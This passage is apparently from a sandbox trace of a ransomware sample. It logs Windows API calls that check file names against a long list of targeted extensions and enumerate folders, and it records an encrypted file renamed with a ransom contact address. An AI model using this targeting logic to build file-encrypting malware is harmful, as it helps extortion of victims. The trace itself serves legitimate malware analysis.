(lpString1=".class", lpString2="la.rtf") returned -1 [0099.875] lstrlenW (lpString=".clx") returned 4 [0099.875] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".config") returned 7 [0099.875] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0099.875] lstrlenW (lpString=".cpp") returned 4 [0099.875] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".cr2") returned 4 [0099.875] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".crt") returned 4 [0099.875] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".crw") returned 4 [0099.875] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".cs") returned 3 [0099.875] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0099.875] lstrlenW (lpString=".css") returned 4 [0099.875] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".csv") returned 4 [0099.875] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".cub") returned 4 [0099.875] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".dae") returned 4 [0099.875] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".dat") returned 4 [0099.875] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0099.875] lstrlenW (lpString=".db") returned 3 [0099.875] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0099.876] lstrlenW (lpString=".dbf") returned 4 [0099.876] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".dbx") returned 4 [0099.876] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".dc3") returned 4 [0099.876] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".dcm") returned 4 [0099.876] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".dcr") returned 4 [0099.876] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".der") returned 4 [0099.876] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".dib") returned 4 [0099.876] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".dic") returned 4 [0099.876] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".dif") returned 4 [0099.876] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".divx") returned 5 [0099.876] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0099.876] lstrlenW (lpString=".djvu") returned 5 [0099.876] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0099.876] lstrlenW (lpString=".dng") returned 4 [0099.876] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".doc") returned 4 [0099.876] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.876] lstrlenW (lpString=".docm") returned 5 [0099.876] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0099.877] lstrlenW (lpString=".docx") returned 5 [0099.877] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.877] lstrlenW (lpString=".dot") returned 4 [0099.877] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0099.877] lstrlenW (lpString=".dotm") returned 5 [0099.877] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0099.877] lstrlenW (lpString=".dotx") returned 5 [0099.877] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0099.877] lstrlenW (lpString=".dpx") returned 4 [0099.877] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0099.877] lstrlenW (lpString=".dqy") returned 4 [0099.877] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0099.877] lstrlenW (lpString=".dsn") returned 4 [0099.877] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0099.877] lstrlenW (lpString=".dt") returned 3 [0099.877] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0099.877] lstrlenW (lpString=".dtd") returned 4 [0099.877] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0099.877] lstrlenW (lpString=".dwg") returned 4 [0099.877] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0099.877] lstrlenW (lpString=".dwt") returned 4 [0099.877] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0099.877] lstrlenW (lpString=".dx") returned 3 [0099.877] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0099.877] lstrlenW (lpString=".dxf") returned 4 [0099.877] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0099.877] lstrlenW (lpString=".edml") returned 5 [0099.877] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0099.878] lstrlenW (lpString=".efd") returned 4 [0099.878] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".elf") returned 4 [0099.878] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".emf") returned 4 [0099.878] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".emz") returned 4 [0099.878] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".epf") returned 4 [0099.878] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".eps") returned 4 [0099.878] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".epsf") returned 5 [0099.878] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0099.878] lstrlenW (lpString=".epsp") returned 5 [0099.878] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0099.878] lstrlenW (lpString=".erf") returned 4 [0099.878] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".exr") returned 4 [0099.878] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".f4v") returned 4 [0099.878] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".fido") returned 5 [0099.878] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0099.878] lstrlenW (lpString=".flm") returned 4 [0099.878] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".flv") returned 4 [0099.878] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0099.878] lstrlenW (lpString=".frm") returned 4 [0099.879] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".fxg") returned 4 [0099.879] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".geo") returned 4 [0099.879] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".gif") returned 4 [0099.879] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".grs") returned 4 [0099.879] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".gz") returned 3 [0099.879] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0099.879] lstrlenW (lpString=".h") returned 2 [0099.879] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0099.879] lstrlenW (lpString=".hdr") returned 4 [0099.879] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".hpp") returned 4 [0099.879] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".hta") returned 4 [0099.879] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".htc") returned 4 [0099.879] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".htm") returned 4 [0099.879] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0099.879] lstrlenW (lpString=".html") returned 5 [0099.879] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0099.879] lstrlenW (lpString=".icb") returned 4 [0099.880] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".ics") returned 4 [0099.880] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".iff") returned 4 [0099.880] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".inc") returned 4 [0099.880] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".indd") returned 5 [0099.880] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0099.880] lstrlenW (lpString=".ini") returned 4 [0099.880] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".iqy") returned 4 [0099.880] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".j2c") returned 4 [0099.880] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".j2k") returned 4 [0099.880] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".java") returned 5 [0099.880] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0099.880] lstrlenW (lpString=".jp2") returned 4 [0099.880] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".jpc") returned 4 [0099.880] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".jpe") returned 4 [0099.880] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0099.880] lstrlenW (lpString=".jpeg") returned 5 [0099.880] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0099.880] lstrlenW (lpString=".jpf") returned 4 [0099.880] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".jpg") returned 4 [0099.881] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".jpx") returned 4 [0099.881] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".js") returned 3 [0099.881] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0099.881] lstrlenW (lpString=".jsf") returned 4 [0099.881] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".json") returned 5 [0099.881] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0099.881] lstrlenW (lpString=".jsp") returned 4 [0099.881] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".kdc") returned 4 [0099.881] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".kmz") returned 4 [0099.881] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".kwm") returned 4 [0099.881] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".lasso") returned 6 [0099.881] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0099.881] lstrlenW (lpString=".lbi") returned 4 [0099.881] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".lgf") returned 4 [0099.881] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".lgp") returned 4 [0099.881] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".log") returned 4 [0099.881] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0099.881] lstrlenW (lpString=".m1v") returned 4 [0099.882] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".m4a") returned 4 [0099.882] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".m4v") returned 4 [0099.882] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".max") returned 4 [0099.882] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".md") returned 3 [0099.882] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0099.882] lstrlenW (lpString=".mda") returned 4 [0099.882] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".mdb") returned 4 [0099.882] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".mde") returned 4 [0099.882] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".mdf") returned 4 [0099.882] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".mdw") returned 4 [0099.882] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".mef") returned 4 [0099.882] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".mft") returned 4 [0099.882] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".mfw") returned 4 [0099.882] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".mht") returned 4 [0099.882] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0099.882] lstrlenW (lpString=".mhtml") returned 6 [0099.882] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0099.882] lstrlenW (lpString=".mka") returned 4 [0099.883] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".mkidx") returned 6 [0099.883] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0099.883] lstrlenW (lpString=".mkv") returned 4 [0099.883] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".mos") returned 4 [0099.883] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".mov") returned 4 [0099.883] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".mp3") returned 4 [0099.883] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".mp4") returned 4 [0099.883] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".mpeg") returned 5 [0099.883] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0099.883] lstrlenW (lpString=".mpg") returned 4 [0099.883] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".mpv") returned 4 [0099.883] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".mrw") returned 4 [0099.883] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".msg") returned 4 [0099.883] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".mxl") returned 4 [0099.883] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".myd") returned 4 [0099.883] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0099.883] lstrlenW (lpString=".myi") returned 4 [0099.883] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".nef") returned 4 [0099.884] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".nrw") returned 4 [0099.884] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".obj") returned 4 [0099.884] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".odb") returned 4 [0099.884] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".odc") returned 4 [0099.884] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".odm") returned 4 [0099.884] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".odp") returned 4 [0099.884] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".ods") returned 4 [0099.884] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".oft") returned 4 [0099.884] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".one") returned 4 [0099.884] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".onepkg") returned 7 [0099.884] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0099.884] lstrlenW (lpString=".onetoc2") returned 8 [0099.884] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0099.884] lstrlenW (lpString=".opt") returned 4 [0099.884] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0099.884] lstrlenW (lpString=".oqy") returned 4 [0099.885] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".orf") returned 4 [0099.885] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".p12") returned 4 [0099.885] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".p7b") returned 4 [0099.885] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".p7c") returned 4 [0099.885] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".pam") returned 4 [0099.885] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".pbm") returned 4 [0099.885] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".pct") returned 4 [0099.885] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".pcx") returned 4 [0099.885] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".pdd") returned 4 [0099.885] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0099.885] lstrlenW (lpString=".pdf") returned 4 [0099.885] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0099.886] lstrlenW (lpString=".pdp") returned 4 [0099.886] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0099.886] lstrlenW (lpString=".pef") returned 4 [0099.886] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0099.886] lstrlenW (lpString=".pem") returned 4 [0099.886] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0099.886] lstrlenW (lpString=".pff") returned 4 [0099.886] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0099.886] lstrlenW (lpString=".pfm") returned 4 [0099.886] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0099.886] lstrlenW (lpString=".pfx") returned 4 [0099.886] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0099.886] lstrlenW (lpString=".pgm") returned 4 [0099.886] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0099.886] lstrlenW (lpString=".php") returned 4 [0099.886] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0099.886] lstrlenW (lpString=".php3") returned 5 [0099.886] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0099.886] lstrlenW (lpString=".php4") returned 5 [0099.886] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0099.886] lstrlenW (lpString=".php5") returned 5 [0099.886] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0099.886] lstrlenW (lpString=".phtml") returned 6 [0099.886] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0099.886] lstrlenW (lpString=".pict") returned 5 [0099.886] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0099.886] lstrlenW (lpString=".pl") returned 3 [0099.886] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0099.886] lstrlenW (lpString=".pls") returned 4 [0099.886] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0099.887] lstrlenW (lpString=".pm") returned 3 [0099.887] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0099.887] lstrlenW (lpString=".png") returned 4 [0099.887] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0099.887] lstrlenW (lpString=".pnm") returned 4 [0099.887] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0099.887] lstrlenW (lpString=".pot") returned 4 [0099.887] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0099.887] lstrlenW (lpString=".potm") returned 5 [0099.887] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0099.887] lstrlenW (lpString=".potx") returned 5 [0099.887] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0099.887] lstrlenW (lpString=".ppa") returned 4 [0099.887] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0099.887] lstrlenW (lpString=".ppam") returned 5 [0099.887] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0099.887] lstrlenW (lpString=".ppm") returned 4 [0099.887] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0099.887] lstrlenW (lpString=".pps") returned 4 [0099.887] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0099.887] lstrlenW (lpString=".ppsm") returned 5 [0099.887] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0099.887] lstrlenW (lpString=".ppt") returned 4 [0099.887] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0099.887] lstrlenW (lpString=".pptm") returned 5 [0099.887] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0099.887] lstrlenW (lpString=".pptx") returned 5 [0099.887] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0099.887] lstrlenW (lpString=".prn") returned 4 [0099.887] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".ps") returned 3 [0099.888] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0099.888] lstrlenW (lpString=".psb") returned 4 [0099.888] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".psd") returned 4 [0099.888] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".pst") returned 4 [0099.888] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".ptx") returned 4 [0099.888] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".pub") returned 4 [0099.888] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".pwm") returned 4 [0099.888] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".pxr") returned 4 [0099.888] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".py") returned 3 [0099.888] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0099.888] lstrlenW (lpString=".qt") returned 3 [0099.888] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0099.888] lstrlenW (lpString=".r3d") returned 4 [0099.888] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".raf") returned 4 [0099.888] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0099.888] lstrlenW (lpString=".rar") returned 4 [0099.888] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0099.888] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.889] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5e4787f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5e4787f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0099.889] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5e4787f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5e4787f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0099.889] FindClose (in: hFindFile=0x3e50640 | out: hFindFile=0x3e50640) returned 1 [0099.889] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0099.889] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0099.890] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0099.890] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26 [0099.890] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0099.890] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.890] 